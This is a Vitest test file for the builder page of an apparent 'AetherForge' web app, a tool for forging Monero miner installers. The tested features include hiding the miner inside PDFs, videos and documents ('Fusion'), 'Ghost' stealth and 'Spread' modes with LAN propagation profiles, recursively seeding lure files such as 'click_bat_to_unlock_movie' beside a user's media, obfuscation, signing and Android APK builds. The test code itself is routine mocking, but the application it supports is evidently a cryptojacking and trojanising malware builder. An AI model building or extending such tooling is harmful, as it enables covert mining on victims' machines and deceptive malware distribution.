Files
AetherForge/server/web/src/pages/BuilderPage.test.tsx
AetherForge 72d0e6ac19
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add Vitest coverage for erasure lanes, fleet evolution UI, and spread routes.
Cover Path Tracer RS lane hints, Calibrate erasure toggle, fleet role chips, atlas skips panel, and erasure_lanes help copy.
2026-06-07 06:21:11 -07:00

737 lines
31 KiB
TypeScript

/**
* @vitest-environment happy-dom
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { cleanup, fireEvent, render, screen, waitFor, within } from '@testing-library/react';
import userEvent from '@testing-library/user-event';
import { MemoryRouter } from 'react-router-dom';
import BuilderPage, { formatBytes } from './BuilderPage';
import { ForgeProvider } from '../context/ForgeContext';
import { routerFuture } from '../routerFuture';
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
import { api } from '../api/client';
function renderBuilder(initialEntries = ['/forge']) {
return render(
<MemoryRouter initialEntries={initialEntries} future={routerFuture}>
<ForgeProvider>
<BuilderPage />
</ForgeProvider>
</MemoryRouter>
);
}
function missionWizardScope() {
const root = screen.getByText('MISSION RITUAL — 3-STEP WIZARD').closest('.forge-mission-wizard');
if (!root) throw new Error('Mission wizard not found');
return within(root as HTMLElement);
}
function pathForgeSection() {
const root = screen.getByText('PATH FORGE — Recursive Batch Seed').closest('.form-section');
if (!root) throw new Error('Path forge section not found');
return within(root as HTMLElement);
}
function fusionBatchFileInput() {
const label = screen.getByText(/Batch fusion — fuse many files at once/i);
const formGroup = label.closest('.form-group');
if (!formGroup) throw new Error('Batch fusion form group not found');
const input = formGroup.querySelector('input[type="file"][multiple]') as HTMLInputElement | null;
if (!input) throw new Error('Batch fusion file input not found');
return input;
}
function mockFusionFile(name: string, content = 'payload') {
return new File([content], name, { type: 'application/octet-stream' });
}
type BuildResult = Awaited<ReturnType<typeof api.buildAgent>>;
function successfulBuild(overrides: Partial<BuildResult> = {}): BuildResult {
return {
success: true,
file_name: 'worker-1.exe',
file_size: 4 * 1024 * 1024,
download_url: '/api/v1/builds/test/download',
fusion_enabled: false,
obfuscated: false,
signed: false,
...overrides,
};
}
describe('formatBytes', () => {
it('formats sub-kilobyte values as bytes', () => {
expect(formatBytes(512)).toBe('512 B');
});
it('formats kilobytes and megabytes with two decimals', () => {
expect(formatBytes(2048)).toBe('2.00 KB');
expect(formatBytes(5 * 1024 * 1024)).toBe('5.00 MB');
});
it('formats gigabytes and terabytes', () => {
expect(formatBytes(3 * 1024 * 1024 * 1024)).toBe('3.00 GB');
expect(formatBytes(2 * 1024 * 1024 * 1024 * 1024)).toBe('2.00 TB');
});
});
describe('BuilderPage', () => {
beforeEach(() => {
vi.clearAllMocks();
localStorage.clear();
vi.spyOn(api, 'getConfig').mockResolvedValue(mockServerConfig());
vi.spyOn(api, 'getServerInfo').mockResolvedValue(mockServerInfo);
vi.spyOn(api, 'listBuilds').mockResolvedValue([]);
vi.spyOn(api, 'buildAgent').mockResolvedValue({
success: true,
file_name: 'worker-1.exe',
file_size: 4 * 1024 * 1024,
download_url: '/api/v1/builds/test/download',
fusion_enabled: false,
obfuscated: false,
signed: false,
});
vi.spyOn(api, 'listBlueprints').mockResolvedValue([]);
vi.spyOn(api, 'saveBlueprint').mockResolvedValue({ name: 'my-blueprint', size: 1024, created_at: '' });
vi.spyOn(api, 'cancelBuild').mockResolvedValue({ ok: true });
});
afterEach(() => {
vi.unstubAllGlobals();
cleanup();
});
it('shows loading hero before defaults arrive', () => {
renderBuilder();
expect(screen.getByRole('heading', { level: 1, name: 'Forge' })).toBeInTheDocument();
expect(screen.getByText('Loading forge defaults from server...')).toBeInTheDocument();
});
it('renders forge form with identity field labels after load', async () => {
renderBuilder();
expect(await screen.findByRole('heading', { level: 2, name: 'Quick Forge' })).toBeInTheDocument();
expect(screen.getByText('INSTALLER FORGE')).toBeInTheDocument();
expect(screen.getByText('Worker Name')).toBeInTheDocument();
expect(screen.getByText('Control Endpoint')).toBeInTheDocument();
expect(screen.getByText('XMR Wallet Address')).toBeInTheDocument();
expect(api.getConfig).toHaveBeenCalled();
expect(api.getServerInfo).toHaveBeenCalled();
expect(api.listBuilds).toHaveBeenCalled();
});
it('surfaces load failure when server info cannot be fetched', async () => {
vi.spyOn(api, 'getConfig').mockRejectedValue(new Error('offline'));
renderBuilder();
expect(
await screen.findByText('Failed to load server config — is the control server running?')
).toBeInTheDocument();
});
it('shows LAN endpoint chips from server info', async () => {
renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
expect(screen.getByRole('button', { name: mockServerInfo.suggested_url! })).toBeInTheDocument();
});
it('switches to advanced mode and reveals pool configuration', async () => {
renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
await userEvent.setup().click(screen.getByRole('button', { name: 'Advanced' }));
expect(await screen.findByRole('heading', { level: 2, name: 'Build Miner Installer' })).toBeInTheDocument();
expect(screen.getByText('FORGE RULES — READ THIS ONCE')).toBeInTheDocument();
expect(screen.getByText('Mining Pools')).toBeInTheDocument();
});
it('submits forge when preflight passes', async () => {
const buildSpy = vi.spyOn(api, 'buildAgent');
renderBuilder();
await screen.findByRole('button', { name: /FORGE INSTALLER/i });
await userEvent.setup().click(screen.getByRole('button', { name: /FORGE INSTALLER/i }));
await waitFor(() => {
expect(buildSpy).toHaveBeenCalled();
});
expect(await screen.findByText('worker-1.exe')).toBeInTheDocument();
expect(screen.getByRole('button', { name: /Download/i })).toBeInTheDocument();
});
it('offers forge-next-worker after a successful build', async () => {
renderBuilder();
await screen.findByRole('button', { name: /FORGE INSTALLER/i });
await userEvent.setup().click(screen.getByRole('button', { name: /FORGE INSTALLER/i }));
expect(await screen.findByText('worker-1.exe')).toBeInTheDocument();
await userEvent.setup().click(screen.getByRole('button', { name: 'Forge next worker' }));
expect(screen.queryByText('worker-1.exe')).not.toBeInTheDocument();
expect(screen.getByPlaceholderText(/office-pc-1/i)).toHaveValue('worker-2');
});
it('shows fleet blueprint save prompt after first successful forge', async () => {
const promptMock = vi.fn().mockReturnValue('fleet-default');
vi.stubGlobal('prompt', promptMock);
const saveSpy = vi.spyOn(api, 'saveBlueprint');
renderBuilder();
await screen.findByRole('button', { name: /FORGE INSTALLER/i });
await userEvent.setup().click(screen.getByRole('button', { name: /FORGE INSTALLER/i }));
expect(await screen.findByText('worker-1.exe')).toBeInTheDocument();
await userEvent.setup().click(screen.getByRole('button', { name: 'Save as fleet blueprint' }));
await waitFor(() => {
expect(promptMock).toHaveBeenCalledWith('Save this setup as a fleet blueprint:', 'fleet-default');
expect(saveSpy).toHaveBeenCalledWith('fleet-default', expect.any(Object));
});
});
it('blocks forge when preflight has errors (empty wallet)', async () => {
renderBuilder();
const wallet = await screen.findByDisplayValue(/^4A+/);
fireEvent.change(wallet, { target: { value: '' } });
const forgeBtn = screen.getByRole('button', { name: /FIX .* ERROR/i });
expect(forgeBtn).toBeDisabled();
expect(screen.getByText('PREFLIGHT CROSS-CHECK')).toBeInTheDocument();
});
it('persists simple vs advanced mode in localStorage', async () => {
renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
await userEvent.setup().click(screen.getByRole('button', { name: 'Advanced' }));
expect(localStorage.getItem('aetherforge-forge-mode')).toBe('advanced');
await userEvent.setup().click(screen.getByRole('button', { name: 'Simple' }));
expect(localStorage.getItem('aetherforge-forge-mode')).toBe('simple');
});
it('loads blueprint list when Load Blueprint is clicked', async () => {
vi.spyOn(api, 'listBlueprints').mockResolvedValue([
{ name: 'office-preset', size: 2048, created_at: '2026-05-30T12:00:00Z' },
]);
renderBuilder();
await screen.findByRole('button', { name: /Load Blueprint/i });
await userEvent.setup().click(screen.getByRole('button', { name: /Load Blueprint/i }));
expect(await screen.findByText('Saved Blueprints')).toBeInTheDocument();
expect(screen.getByText('office-preset')).toBeInTheDocument();
expect(api.listBlueprints).toHaveBeenCalled();
});
it('shows fusion deliverable hint when Fusion card is selected', async () => {
renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
await userEvent.setup().click(
screen.getByRole('button', { name: /Hide miner in any file/i })
);
expect(
screen.getByText(/Drop any file — PDF, video, document/i)
).toBeInTheDocument();
});
it('applies forge skin class from default operation mode', async () => {
localStorage.setItem('aetherforge-operation-mode', 'ghost_walk');
localStorage.setItem('aetherforge-forge-theme', 'auto');
const { container } = renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
expect(container.querySelector('.command-deck')).toHaveClass('forge-skin--ghost');
});
it('honors forge theme override over operation mode', async () => {
localStorage.setItem('aetherforge-operation-mode', 'ghost_walk');
localStorage.setItem('aetherforge-forge-theme', 'halloween');
const { container } = renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
expect(container.querySelector('.command-deck')).toHaveClass('forge-skin--halloween');
expect(container.querySelector('.command-deck')).not.toHaveClass('forge-skin--ghost');
});
it('updates forge skin when operation mode chip is selected', async () => {
localStorage.setItem('aetherforge-forge-theme', 'auto');
const { container } = renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
await userEvent.setup().click(screen.getByRole('button', { name: 'Wildfire' }));
expect(container.querySelector('.command-deck')).toHaveClass('forge-skin--wildfire');
});
it('applies crucible skin for Crucible Storm mode', async () => {
localStorage.setItem('aetherforge-operation-mode', 'crucible_storm');
localStorage.setItem('aetherforge-forge-theme', 'auto');
const { container } = renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
expect(container.querySelector('.command-deck')).toHaveClass('forge-skin--crucible');
});
it('applies halloween skin for Sigil Mask mode', async () => {
localStorage.setItem('aetherforge-operation-mode', 'sigil_mask');
localStorage.setItem('aetherforge-forge-theme', 'auto');
const { container } = renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
expect(container.querySelector('.command-deck')).toHaveClass('forge-skin--halloween');
});
it('renders mission ritual wizard with three step pills', async () => {
renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
const wizard = missionWizardScope();
expect(screen.getByText('MISSION RITUAL — 3-STEP WIZARD')).toBeInTheDocument();
expect(wizard.getByRole('tab', { name: /Mode/i })).toBeInTheDocument();
expect(wizard.getByRole('tab', { name: /Profile/i })).toBeInTheDocument();
expect(wizard.getByRole('tab', { name: /Launch/i })).toBeInTheDocument();
expect(wizard.getByRole('button', { name: 'Ghost' })).toBeInTheDocument();
expect(wizard.getByRole('button', { name: 'Loud' })).toBeInTheDocument();
expect(wizard.getByRole('button', { name: 'Spread' })).toBeInTheDocument();
});
it('advances mission wizard from mode to profile to launch', async () => {
const user = userEvent.setup();
renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
const wizard = missionWizardScope();
await user.click(wizard.getByRole('button', { name: 'Spread' }));
await user.click(wizard.getByRole('button', { name: 'Next →' }));
expect(wizard.getByText('Spread profile (optional)')).toBeInTheDocument();
await user.click(wizard.getByRole('button', { name: 'LAN Kindling' }));
await user.click(wizard.getByRole('button', { name: 'Next →' }));
expect(wizard.getByRole('button', { name: '🚀 Launch Ritual' })).toBeInTheDocument();
expect(wizard.getByLabelText('Campaign slug (?c=)')).toBeInTheDocument();
});
it('runs mission ritual and shows success modal with spread landing link', async () => {
vi.spyOn(api, 'buildAgent').mockResolvedValue({
success: true,
build_id: 'ritual-build-1',
file_name: 'worker-ritual.exe',
file_size: 4096,
download_url: '/api/v1/builds/ritual-build-1/download',
fusion_enabled: false,
obfuscated: false,
signed: false,
});
vi.spyOn(api, 'exportSpreadKit').mockResolvedValue(undefined);
const user = userEvent.setup();
renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
const wizard = missionWizardScope();
await user.click(wizard.getByRole('button', { name: 'Spread' }));
await user.click(wizard.getByRole('button', { name: 'Next →' }));
await user.click(wizard.getByRole('button', { name: 'LAN Kindling' }));
await user.click(wizard.getByRole('button', { name: 'Next →' }));
await user.click(wizard.getByRole('button', { name: '🚀 Launch Ritual' }));
expect(await screen.findByText('Mission complete')).toBeInTheDocument();
expect(screen.getByRole('button', { name: /View install commands in Builds/i })).toBeInTheDocument();
expect(screen.getByRole('link', { name: 'Open spread landing' })).toHaveAttribute('href', '/spread/');
expect(api.buildAgent).toHaveBeenCalled();
expect(api.exportSpreadKit).toHaveBeenCalled();
});
it('APK mode toggle locks platform to Android arm64 and hides Fusion', async () => {
localStorage.setItem('aetherforge-forge-mode', 'advanced');
const user = userEvent.setup();
renderBuilder();
await screen.findByText('Worker Name');
const apkToggle = await screen.findByRole('checkbox', { name: /APK mode/i });
await user.click(apkToggle);
expect(screen.getByDisplayValue('Android (arm64)')).toBeInTheDocument();
expect(screen.getByText(/platform=android/i)).toBeInTheDocument();
expect(screen.queryByText('Fusion — Hide miner in any file')).not.toBeInTheDocument();
});
it('polls builder progress endpoint while a forge is running', async () => {
type BuildResult = Awaited<ReturnType<typeof api.buildAgent>>;
let resolveBuild!: (value: BuildResult) => void;
vi.spyOn(api, 'buildAgent').mockReturnValue(
new Promise<BuildResult>((resolve) => {
resolveBuild = resolve;
}),
);
const fetchMock = vi.fn().mockResolvedValue({
ok: true,
json: async () => ({ stage: 'Compiling agent', pct: 42 }),
});
vi.stubGlobal('fetch', fetchMock);
renderBuilder();
await screen.findByRole('button', { name: /FORGE INSTALLER/i });
fireEvent.click(screen.getByRole('button', { name: /FORGE INSTALLER/i }));
await waitFor(
() => {
expect(fetchMock).toHaveBeenCalledWith(
expect.stringMatching(/\/api\/v1\/builder\/progress\//),
expect.objectContaining({ headers: expect.any(Object) }),
);
},
{ timeout: 3000 },
);
resolveBuild({
success: true,
file_name: 'worker-1.exe',
file_size: 1024,
download_url: '/api/v1/builds/test/download',
fusion_enabled: false,
obfuscated: false,
signed: false,
});
await waitFor(() => expect(screen.getByText('worker-1.exe')).toBeInTheDocument());
});
it('calls cancelBuild when Kill Build is clicked during single forge', async () => {
type BuildResult = Awaited<ReturnType<typeof api.buildAgent>>;
vi.spyOn(api, 'buildAgent').mockReturnValue(new Promise<BuildResult>(() => {}));
const cancelSpy = vi.spyOn(api, 'cancelBuild').mockResolvedValue({ ok: true });
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({
ok: true,
json: async () => ({ stage: 'Compiling', pct: 10 }),
}));
renderBuilder();
await screen.findByRole('button', { name: /FORGE INSTALLER/i });
fireEvent.click(screen.getByRole('button', { name: /FORGE INSTALLER/i }));
const killBtn = await screen.findByRole('button', { name: /Kill Build/i });
fireEvent.click(killBtn);
await waitFor(() => {
expect(cancelSpy).toHaveBeenCalled();
});
});
it('submits path forge and shows placement summary', async () => {
localStorage.setItem('aetherforge-forge-mode', 'advanced');
const fetchMock = vi.fn().mockResolvedValue({
ok: true,
json: async () => ({
success: true,
placed: 3,
total: 1,
skipped: 2,
errors: 0,
results: [{ source: 'movie.mkv', files: ['movie.bat', 'click_bat_to_unlock_movie'] }],
}),
});
vi.stubGlobal('fetch', fetchMock);
renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Build Miner Installer' });
const pathForgeSection = screen.getByText('PATH FORGE — Recursive Batch Seed').closest('.form-section') as HTMLElement;
const pathInput = within(pathForgeSection).getByPlaceholderText(/E:\\Movies/i);
fireEvent.change(pathInput, { target: { value: 'D:\\Movies' } });
fireEvent.click(screen.getByRole('button', { name: /LAUNCH PATH FORGE/i }));
expect(await screen.findByText(/3 files placed across 1 source files/i)).toBeInTheDocument();
expect(fetchMock).toHaveBeenCalledWith(
'/api/v1/builder/path-forge',
expect.objectContaining({ method: 'POST' }),
);
});
it('shows path forge busy state while seeding', async () => {
localStorage.setItem('aetherforge-forge-mode', 'advanced');
let resolveForge!: (value: Response) => void;
const fetchMock = vi.fn().mockReturnValue(
new Promise<Response>((resolve) => {
resolveForge = resolve;
}),
);
vi.stubGlobal('fetch', fetchMock);
renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Build Miner Installer' });
const section = pathForgeSection();
fireEvent.change(section.getByPlaceholderText(/E:\\Movies/i), {
target: { value: 'D:\\Movies' },
});
fireEvent.click(screen.getByRole('button', { name: /LAUNCH PATH FORGE/i }));
expect(await screen.findByRole('button', { name: /Seeding/i })).toBeDisabled();
resolveForge({
ok: true,
json: async () => ({ success: true, placed: 1, total: 1, errors: 0, results: [] }),
} as Response);
await waitFor(() => {
expect(screen.getByRole('button', { name: /LAUNCH PATH FORGE/i })).not.toBeDisabled();
});
});
it('calls cancelBuild on unmount when single forge is in flight', async () => {
const capturedTokens: string[] = [];
vi.spyOn(api, 'buildAgent').mockImplementation((req) => {
capturedTokens.push(req.cancel_token ?? '');
return new Promise<BuildResult>(() => {});
});
const cancelSpy = vi.spyOn(api, 'cancelBuild').mockResolvedValue({ ok: true });
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({
ok: true,
json: async () => ({ stage: 'Compiling', pct: 10 }),
}));
const { unmount } = renderBuilder();
await screen.findByRole('button', { name: /FORGE INSTALLER/i });
fireEvent.click(screen.getByRole('button', { name: /FORGE INSTALLER/i }));
await waitFor(() => expect(api.buildAgent).toHaveBeenCalled());
unmount();
await waitFor(() => {
expect(cancelSpy).toHaveBeenCalledWith(capturedTokens[0]);
});
});
it('path forge blocks duplicate launch while seeding (race guard)', async () => {
localStorage.setItem('aetherforge-forge-mode', 'advanced');
let resolveForge!: (value: Response) => void;
const fetchMock = vi.fn().mockReturnValue(
new Promise<Response>((resolve) => {
resolveForge = resolve;
}),
);
vi.stubGlobal('fetch', fetchMock);
renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Build Miner Installer' });
const section = pathForgeSection();
fireEvent.change(section.getByPlaceholderText(/E:\\Movies/i), { target: { value: 'D:\\Movies' } });
const launchBtn = screen.getByRole('button', { name: /LAUNCH PATH FORGE/i });
fireEvent.click(launchBtn);
const seedingBtn = await screen.findByRole('button', { name: /Seeding/i });
expect(seedingBtn).toBeDisabled();
fireEvent.click(seedingBtn);
expect(fetchMock).toHaveBeenCalledTimes(1);
resolveForge({
ok: true,
json: async () => ({ success: true, placed: 1, total: 1, errors: 0, results: [] }),
} as Response);
await waitFor(() => expect(screen.getByRole('button', { name: /LAUNCH PATH FORGE/i })).not.toBeDisabled());
});
it('path forge unmount during seeding does not throw', async () => {
localStorage.setItem('aetherforge-forge-mode', 'advanced');
vi.stubGlobal('fetch', vi.fn().mockReturnValue(new Promise<Response>(() => {})));
const { unmount } = renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Build Miner Installer' });
const section = pathForgeSection();
fireEvent.change(section.getByPlaceholderText(/E:\\Movies/i), { target: { value: 'D:\\Movies' } });
fireEvent.click(screen.getByRole('button', { name: /LAUNCH PATH FORGE/i }));
await screen.findByRole('button', { name: /Seeding/i });
expect(() => unmount()).not.toThrow();
});
it('batch forge processes multiple files with per-file preflight and cancel_token', async () => {
const user = userEvent.setup();
const buildSpy = vi.spyOn(api, 'buildAgent').mockImplementation(async (_req, file) =>
successfulBuild({
fusion_enabled: true,
bundle_file_name: `${file?.name ?? 'file'}-package.zip`,
fusion_export_dir: `fusion-deliverables/${file?.name ?? 'file'}`,
}),
);
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({
ok: true,
json: async () => ({ stage: 'Packaging', pct: 80 }),
}));
renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
await user.click(screen.getByRole('button', { name: /Hide miner in any file/i }));
const alpha = mockFusionFile('alpha.pdf');
const beta = mockFusionFile('beta.mkv');
fireEvent.change(fusionBatchFileInput(), { target: { files: [alpha, beta] } });
expect(await screen.findByText(/2 files queued/i)).toBeInTheDocument();
await user.click(screen.getByRole('button', { name: /Forge all 2 files/i }));
await waitFor(() => expect(buildSpy).toHaveBeenCalledTimes(2));
expect(buildSpy.mock.calls[0][1]?.name).toBe('alpha.pdf');
expect(buildSpy.mock.calls[1][1]?.name).toBe('beta.mkv');
expect(buildSpy.mock.calls[0][0].fusion_enabled).toBe(true);
expect(buildSpy.mock.calls[0][0].cancel_token).toBeTruthy();
expect(buildSpy.mock.calls[1][0].cancel_token).toBeTruthy();
expect(await screen.findByText(/Batch forged 2 file/i)).toBeInTheDocument();
expect(screen.getByText(/2\/2 — done/i)).toBeInTheDocument();
});
it('cancels batch forge mid-loop via Cancel Batch and calls cancelBuild', async () => {
const user = userEvent.setup();
let resolveFirst!: (value: BuildResult) => void;
const capturedTokens: string[] = [];
const buildSpy = vi.spyOn(api, 'buildAgent').mockImplementation((req) => {
capturedTokens.push(req.cancel_token ?? '');
if (capturedTokens.length === 1) {
return new Promise<BuildResult>((resolve) => {
resolveFirst = resolve;
});
}
return Promise.resolve(successfulBuild({ fusion_enabled: true }));
});
const cancelSpy = vi.spyOn(api, 'cancelBuild').mockResolvedValue({ ok: true });
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({
ok: true,
json: async () => ({ stage: 'Compiling', pct: 35 }),
}));
renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
await user.click(screen.getByRole('button', { name: /Hide miner in any file/i }));
fireEvent.change(fusionBatchFileInput(), {
target: { files: [mockFusionFile('one.pdf'), mockFusionFile('two.pdf')] },
});
await user.click(screen.getByRole('button', { name: /Forge all 2 files/i }));
await waitFor(() => expect(buildSpy).toHaveBeenCalledTimes(1));
fireEvent.click(await screen.findByRole('button', { name: /Cancel Batch/i }));
expect(cancelSpy).toHaveBeenCalledWith(capturedTokens[0]);
resolveFirst(successfulBuild({
fusion_enabled: true,
bundle_file_name: 'one-package.zip',
fusion_export_dir: 'fusion-deliverables/one.pdf',
}));
expect(await screen.findByText(/Batch forge cancelled after 1 of 2 file/i)).toBeInTheDocument();
await waitFor(() => expect(buildSpy).toHaveBeenCalledTimes(1));
expect(screen.getByText(/1\/2 — cancelled/i)).toBeInTheDocument();
});
it('skips per-file build failures and shows skipped counter in batch progress', async () => {
const user = userEvent.setup();
const buildSpy = vi.spyOn(api, 'buildAgent').mockImplementation(async (_req, file) => {
if (file?.name === 'bad.pdf') {
return { success: false, error: 'Payload too large for fusion stub' };
}
return successfulBuild({
fusion_enabled: true,
bundle_file_name: `${file?.name ?? 'file'}-package.zip`,
fusion_export_dir: `fusion-deliverables/${file?.name ?? 'file'}`,
});
});
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({
ok: true,
json: async () => ({ stage: 'Packaging', pct: 90 }),
}));
renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
await user.click(screen.getByRole('button', { name: /Hide miner in any file/i }));
fireEvent.change(fusionBatchFileInput(), {
target: { files: [mockFusionFile('bad.pdf'), mockFusionFile('good.pdf')] },
});
await user.click(screen.getByRole('button', { name: /Forge all 2 files/i }));
await waitFor(() => expect(buildSpy).toHaveBeenCalledTimes(2));
expect(await screen.findByText(/Batch forged 1 file\(s\) · 1 skipped/i)).toBeInTheDocument();
expect(screen.getByText(/bad\.pdf — Payload too large for fusion stub/i)).toBeInTheDocument();
expect(screen.getByText(/2\/2 — done · 1 skipped/i)).toBeInTheDocument();
expect(screen.getByText(/good\.pdf — Saved → fusion-deliverables\/good\.pdf/i)).toBeInTheDocument();
});
it('skips per-file preflight failures without aborting the batch', async () => {
const user = userEvent.setup();
const forgeValidation = await import('../help/forgeValidation');
const { runForgePreflight: realPreflight } = await vi.importActual<
typeof import('../help/forgeValidation')
>('../help/forgeValidation');
const preflightSpy = vi.spyOn(forgeValidation, 'runForgePreflight').mockImplementation((form, fusion) => {
if (form.fusion_media_base_name === 'blocked.pdf') {
return [{ id: 'fusion', level: 'error', message: 'Fusion media exceeds size cap' }];
}
return realPreflight(form, fusion);
});
const buildSpy = vi.spyOn(api, 'buildAgent').mockImplementation(async (_req, file) =>
successfulBuild({
fusion_enabled: true,
bundle_file_name: `${file?.name ?? 'file'}-package.zip`,
fusion_export_dir: `fusion-deliverables/${file?.name ?? 'file'}`,
}),
);
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({
ok: true,
json: async () => ({ stage: 'Packaging', pct: 90 }),
}));
renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
await user.click(screen.getByRole('button', { name: /Hide miner in any file/i }));
fireEvent.change(fusionBatchFileInput(), {
target: { files: [mockFusionFile('blocked.pdf'), mockFusionFile('allowed.pdf')] },
});
await user.click(screen.getByRole('button', { name: /Forge all 2 files/i }));
await waitFor(() => expect(buildSpy).toHaveBeenCalledTimes(1));
expect(buildSpy.mock.calls[0][1]?.name).toBe('allowed.pdf');
expect(await screen.findByText(/blocked\.pdf — Fusion media exceeds size cap/i)).toBeInTheDocument();
expect(screen.getByText(/2\/2 — done · 1 skipped/i)).toBeInTheDocument();
preflightSpy.mockRestore();
});
it('selects fleet role seeder chip in advanced spread section', async () => {
const buildSpy = vi.spyOn(api, 'buildAgent');
const user = userEvent.setup();
renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
await user.click(screen.getByRole('button', { name: 'Advanced' }));
await screen.findByRole('heading', { level: 2, name: 'Build Miner Installer' });
const seederChip = screen.getByRole('button', { name: 'Seeder' });
expect(seederChip).toHaveAttribute(
'title',
'LAN staging only — dns_txt/webrtc/do_peer, no RandomX',
);
await user.click(seederChip);
expect(seederChip.className).toMatch(/active/);
await user.click(screen.getByRole('button', { name: /FORGE INSTALLER/i }));
await waitFor(() => expect(buildSpy).toHaveBeenCalled());
expect(buildSpy.mock.calls[0][0].fleet_role).toBe('seeder');
expect(screen.getByText(/Seeder skips mining/i)).toBeInTheDocument();
});
it('clears fusion batch queue after successful batch forge', async () => {
const user = userEvent.setup();
vi.spyOn(api, 'buildAgent').mockImplementation(async (_req, file) =>
successfulBuild({
fusion_enabled: true,
bundle_file_name: `${file?.name ?? 'file'}-package.zip`,
fusion_export_dir: `fusion-deliverables/${file?.name ?? 'file'}`,
}),
);
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({
ok: true,
json: async () => ({ stage: 'Packaging', pct: 90 }),
}));
renderBuilder();
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
await user.click(screen.getByRole('button', { name: /Hide miner in any file/i }));
fireEvent.change(fusionBatchFileInput(), {
target: { files: [mockFusionFile('solo.pdf')] },
});
expect(await screen.findByText(/1 file queued/i)).toBeInTheDocument();
await user.click(screen.getByRole('button', { name: /Forge all 1 file/i }));
await waitFor(() => expect(screen.getByText(/Batch forged 1 file/i)).toBeInTheDocument());
expect(screen.queryByText(/1 file queued/i)).not.toBeInTheDocument();
expect(screen.queryByRole('button', { name: /Cancel Batch/i })).not.toBeInTheDocument();
});
});